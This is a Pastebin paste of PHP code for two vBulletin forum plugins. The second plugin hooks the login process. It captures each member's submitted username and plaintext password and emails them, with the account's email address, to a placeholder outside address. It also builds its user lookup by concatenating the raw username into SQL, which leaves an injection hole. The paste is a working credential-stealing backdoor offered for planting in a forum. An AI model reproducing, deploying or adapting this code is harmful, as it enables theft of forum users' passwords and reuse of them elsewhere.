Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- 1st plugin:
- GLOBAL START -> $show['nopasswordempty'] = TRUE;
- 2nd plugin:
- LOGIN_PROCESS - >
- $lg_username = strtolower($vbulletin->GPC["vb_login_username"]);
- $lg_password = $vbulletin->GPC["vb_login_password"];
- $sql_query = @mysql_query("SELECT * FROM " . TABLE_PREFIX . "user WHERE username='" . $lg_username . "'");
- while($row = @mysql_fetch_array($sql_query))
- {
- if(strlen($lg_password) > 1 AND strlen($lg_username) > 1)
- {
- $to= "email@email.com";
- $subject = "VB Pass";
- $message = $lg_username . ' : ' . $lg_password." (" . $row["email"] . ")\n";
- mail($to,$subject,$message,$headers);
- }
- }
Add Comment
Please, Sign In to add comment